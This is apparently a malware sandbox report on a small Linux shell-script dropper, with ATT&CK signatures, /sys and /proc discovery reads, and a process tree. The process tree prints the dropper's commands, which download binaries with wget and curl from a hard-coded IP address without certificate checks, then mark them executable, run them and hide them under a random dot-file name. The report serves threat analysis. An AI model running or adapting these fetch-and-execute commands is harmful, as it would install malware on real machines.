7c8e7619c5398d3b857e6f72cf791e2c2e27762ddd8521eb8971c893cdb8b1fc

Analysis

max time kernel
25s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
20/06/2026, 04:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sh
Size 2KB
Sample260620-eq1jmac15l
SHA256 7c8e7619c5398d3b857e6f72cf791e2c2e27762ddd8521eb8971c893cdb8b1fc
MD5 d0cf38716e43563331c02cf645ecd993
SHA1 e35e6a0244f8edeb9fe4af22db53655762ec6572
SHA512 b014b744c399ee3c1d091264d774d9361e8d632305230ef2d7f5341646a3adfa0688f2c746779f882ba8cd105cb41b327725fcf9a809b0fba2199119ae63d099
TLSH
T1DA4122BAF4628E3033ADC5BD748A654CA7579A6F491B2E74F087783C27BC32470742A5
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1511	chmod
1522	chmod

Reads AppArmor ptrace settings 1 TTPs 1 IoCs

Discovery of allowed ptrace capabilities by AppArmor.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/security/apparmor/features/ptrace	find

Enumerates running processes
Discovers information about currently running processes on the system

Reads hardware information 1 TTPs 1 IoCs

Accesses system info like serial numbers, manufacturer names etc.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/power	find

Reads network interface configuration 2 TTPs 12 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/tx-0/byte_queue_limits	find
File opened for reading	/sys/devices/virtual/net/lo/statistics	find
File opened for reading	/sys/devices/virtual/net/lo/power	find
File opened for reading	/sys/devices/virtual/net/lo/queues	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/statistics	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/tx-0	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/rx-0	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits	find
File opened for reading	/sys/devices/virtual/net/lo/queues/rx-0	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/power	find

Reads CPU attributes 1 TTPs 20 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/vulnerabilities	find
File opened for reading	/sys/devices/system/cpu/cpu0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/power	find
File opened for reading	/sys/devices/system/cpu/power	find
File opened for reading	/sys/devices/system/cpu/smt	find
File opened for reading	/sys/devices/system/cpu/cpufreq	find
File opened for reading	/sys/devices/system/cpu/cpu0/topology	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache	find
File opened for reading	/sys/devices/system/cpu/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpu0	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1	find
File opened for reading	/sys/devices/system/cpu/cpuidle	find

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/debug/tracing/events/writeback/writeback_single_inode	find
File opened for reading	/sys/fs/cgroup/pids/user.slice/user-0.slice/[email protected]/gvfs-udisks2-volume-monitor.service	find
File opened for reading	/sys/kernel/debug/tracing/events/skb/consume_skb	find
File opened for reading	/sys/kernel/debug/tracing/events/libata/ata_qc_complete_failed	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_bind	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_sethostname	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_arch_prctl	find
File opened for reading	/sys/kernel/debug/tracing/events/raw_syscalls/sys_enter	find
File opened for reading	/sys/kernel/debug/bdi/2:0	find
File opened for reading	/sys/devices/pci0000:00/0000:00:01.1/ata1/host0/power	find
File opened for reading	/sys/kernel/slab/:d-0000192/cgroup	find
File opened for reading	/sys/devices/pnp0/00:04/tty	find
File opened for reading	/sys/bus/clockevents/drivers	find
File opened for reading	/sys/module/crc32_pclmul/holders	find
File opened for reading	/sys/devices/pci0000:00/0000:00:06.0/msi_irqs	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_getfsmap_mapping	find
File opened for reading	/sys/kernel/debug/tracing/events/power/suspend_resume	find
File opened for reading	/sys/kernel/debug/tracing/events/power/pm_qos_update_request	find
File opened for reading	/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:1f/power	find
File opened for reading	/sys/fs/cgroup/unified/user.slice/user-0.slice/[email protected]/xdg-permission-store.service	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_fcntl	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_getpgid	find
File opened for reading	/sys/devices/pci0000:00/pci_bus/0000:00	find
File opened for reading	/sys/devices/pci0000:00/0000:00:05.0/usb1/1-1/1-1:1.0/0003:0222:0001.0001/input/input4	find
File opened for reading	/sys/kernel/slab/ext4_inode_cache	find
File opened for reading	/sys/bus/i2c/drivers/wm831x	find
File opened for reading	/sys/kernel/config	find
File opened for reading	/sys/devices/pci0000:00/0000:00:01.3/i2c-0/power	find
File opened for reading	/sys/module/libahci/notes	find
File opened for reading	/sys/module/glue_helper	find
File opened for reading	/sys/kernel/slab/:a-0000104/cgroup	find
File opened for reading	/sys/kernel/security/apparmor/features/policy/versions	find
File opened for reading	/sys/devices/platform/serial8250/tty/ttyS16	find
File opened for reading	/sys/devices/virtual/block/loop1	find
File opened for reading	/sys/bus/pnp/drivers/serial	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_removexattr	find
File opened for reading	/sys/class/backlight	find
File opened for reading	/sys/module/drm/sections	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_fchmod	find
File opened for reading	/sys/kernel/debug/tracing/events/cgroup/cgroup_transfer_tasks	find
File opened for reading	/sys/kernel/debug/tracing/events/fib/fib_table_lookup_nh	find
File opened for reading	/sys/kernel/debug/tracing/events/writeback/writeback_congestion_wait	find
File opened for reading	/sys/devices/virtual/tty/tty28	find
File opened for reading	/sys/kernel/slab/:0000240/cgroup	find
File opened for reading	/sys/devices/pci0000:00/0000:00:01.1/power	find
File opened for reading	/sys/devices/virtual/tty/tty26	find
File opened for reading	/sys/devices/virtual/vc/vcsa5/power	find
File opened for reading	/sys/kernel/irq/24	find
File opened for reading	/sys/kernel/debug/tracing/events/dma_fence/dma_fence_enable_signal	find
File opened for reading	/sys/kernel/debug/tracing/events/compaction/mm_compaction_defer_compaction	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_sync	find
File opened for reading	/sys/kernel/debug/regmap	find
File opened for reading	/sys/fs/cgroup/devices/system.slice/accounts-daemon.service	find
File opened for reading	/sys/kernel/mm/page_idle	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_getsockopt	find
File opened for reading	/sys/kernel/slab/fat_inode_cache	find
File opened for reading	/sys/kernel/debug/bdi	find
File opened for reading	/sys/kernel/debug/tracing/events/migrate	find
File opened for reading	/sys/kernel/debug/tracing/events/irq/irq_handler_entry	find
File opened for reading	/sys/devices/virtual/tty/tty29/power	find
File opened for reading	/sys/module/zswap/parameters	find
File opened for reading	/sys/module/nf_tables_inet/holders	find
File opened for reading	/sys/devices/pci0000:00/0000:00:04.0/ata7/host6/power	find
File opened for reading	/sys/bus/parport/devices	find

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/23/attr/smack	find
File opened for reading	/proc/513/task/518	find
File opened for reading	/proc/912/task/914/attr	find
File opened for reading	/proc/1055/task/1075/net	find
File opened for reading	/proc/1055/task/1106/net/stat	find
File opened for reading	/proc/1084/task/1144/fdinfo	find
File opened for reading	/proc/1118/task/1128/attr/selinux	find
File opened for reading	/proc/456/task/456/attr/selinux	find
File opened for reading	/proc/1080/task/1124/net/dev_snmp6	find
File opened for reading	/proc/1481/map_files	find
File opened for reading	/proc/486/task/488/net	find
File opened for reading	/proc/536/attr/apparmor	find
File opened for reading	/proc/937/task/937/attr	find
File opened for reading	/proc/978/net/netfilter	find
File opened for reading	/proc/1014/net	find
File opened for reading	/proc/1054/task/1072/net/stat	find
File opened for reading	/proc/1079/task/1104/net/dev_snmp6	find
File opened for reading	/proc/1150/task/1164/attr/smack	find
File opened for reading	/proc/31/task	find
File opened for reading	/proc/513/map_files	find
File opened for reading	/proc/637/task/637/fdinfo	find
File opened for reading	/proc/475/task/524/attr/apparmor	find
File opened for reading	/proc/490/task/490/net	find
File opened for reading	/proc/sys/fs	find
File opened for reading	/proc/79/attr/selinux	find
File opened for reading	/proc/1035/net/netfilter	find
File opened for reading	/proc/1036/task/1036/attr/selinux	find
File opened for reading	/proc/1045/task/1051/fdinfo	find
File opened for reading	/proc/1078/task/1083/fdinfo	find
File opened for reading	/proc/1184/ns	find
File opened for reading	/proc/19/net/dev_snmp6	find
File opened for reading	/proc/490/task	find
File opened for reading	/proc/544/net/netfilter	find
File opened for reading	/proc/631/task/631/attr/selinux	find
File opened for reading	/proc/692/attr	find
File opened for reading	/proc/895/task/895/net/dev_snmp6	find
File opened for reading	/proc/1060/task/1068/net/stat	find
File opened for reading	/proc/1078/task/1115/attr/smack	find
File opened for reading	/proc/432/net/dev_snmp6	find
File opened for reading	/proc/513/attr/smack	find
File opened for reading	/proc/931/task/948/attr/selinux	find
File opened for reading	/proc/1086/task/1086/fd	find
File opened for reading	/proc/1151/fd	find
File opened for reading	/proc/1290/task/1290/net/stat	find
File opened for reading	/proc/1331/net	find
File opened for reading	/proc/162/task/162/net	find
File opened for reading	/proc/475/net	find
File opened for reading	/proc/967/task/967/net	find
File opened for reading	/proc/1005/task/1006/fdinfo	find
File opened for reading	/proc/1045/task/1052/attr/selinux	find
File opened for reading	/proc/1054/task/1071/net/netfilter	find
File opened for reading	/proc/1370/task/1370	find
File opened for reading	/proc/1481/task/1481/net/netfilter	find
File opened for reading	/proc/17/map_files	find
File opened for reading	/proc/24/fd	find
File opened for reading	/proc/412/task/412/attr/selinux	find
File opened for reading	/proc/432/task/432	find
File opened for reading	/proc/1018/task/1019/attr/selinux	find
File opened for reading	/proc/1022/task/1025/attr	find
File opened for reading	/proc/1184/task/1201/attr/apparmor	find
File opened for reading	/proc/6/attr/apparmor	find
File opened for reading	/proc/203/net/dev_snmp6	find
File opened for reading	/proc/453/task/453/net/dev_snmp6	find
File opened for reading	/proc/479/task	find

/tmp/sh
/tmp/sh
1⤵
PID:1481
- /bin/grep
  grep noexec
  2⤵
  PID:1484
- /bin/cat
  cat /proc/mounts
  2⤵
  PID:1483
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1485
- /usr/bin/whoami
  whoami
  2⤵
  PID:1488
- /usr/bin/find
  find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/unified -not -path "/sys/fs/cgroup/unified/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/pstore -not -path "/sys/fs/pstore/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/hugetlb -not -path "/sys/fs/cgroup/hugetlb/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/rdma -not -path "/sys/fs/cgroup/rdma/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*"
  2⤵
  - Reads AppArmor ptrace settings
  - Reads hardware information
  - Reads network interface configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:1489
- /bin/uname
  uname -mp
  2⤵
  PID:1493
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:1498
- /usr/bin/od
  od -An -N2 -i /dev/urandom
  2⤵
  PID:1497
- /usr/bin/expr
  expr 51805 "%" 32 + 4
  2⤵
  PID:1499
- /usr/bin/tr
  tr -dc A-Za-z0-9
  2⤵
  PID:1502
- /usr/bin/head
  head -c 33
  2⤵
  PID:1503
- /usr/bin/openssl
  openssl rand -base64 256
  2⤵
  PID:1501
- /usr/bin/touch
  touch .testfile
  2⤵
  PID:1504
- /bin/dd
  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
  2⤵
  PID:1506
- /bin/rm
  rm -rf .testfile .testfile2
  2⤵
  PID:1507
- /bin/rm
  rm -rf clean
  2⤵
  PID:1508
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/clean
  2⤵
  PID:1509
- /usr/bin/curl
  curl -skO https://217.60.195.113/clean
  2⤵
  PID:1510
- /bin/chmod
  chmod +x clean
  2⤵
  - File and Directory Permissions Modification
  PID:1511
- /bin/sh
  sh clean
  2⤵
  PID:1512
- /bin/rm
  rm -rf clean
  2⤵
  PID:1513
- /bin/rm
  rm -rf .redtail
  2⤵
  PID:1514
- /bin/rm
  rm -rf .jMq5V36LtPqzjJJg1AS8Zi64gNJOhTlur
  2⤵
  PID:1515
- /bin/grep
  grep -q x86_64
  2⤵
  PID:1517
- /bin/rm
  rm -rf x86_64
  2⤵
  PID:1518
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/x86_64
  2⤵
  PID:1519
- /usr/bin/curl
  curl -skO https://217.60.195.113/x86_64
  2⤵
  PID:1520
- /bin/mv
  mv x86_64 .jMq5V36LtPqzjJJg1AS8Zi64gNJOhTlur
  2⤵
  PID:1521
- /bin/chmod
  chmod +x .jMq5V36LtPqzjJJg1AS8Zi64gNJOhTlur
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /.jMq5V36LtPqzjJJg1AS8Zi64gNJOhTlur
  ./.jMq5V36LtPqzjJJg1AS8Zi64gNJOhTlur
  2⤵
  PID:1523

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.testfile2

Path /.testfile2
Size 2.0MB
SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
MD5 b2d1236c286a3c0704224fe4105eca49
SHA1 7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA512 731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads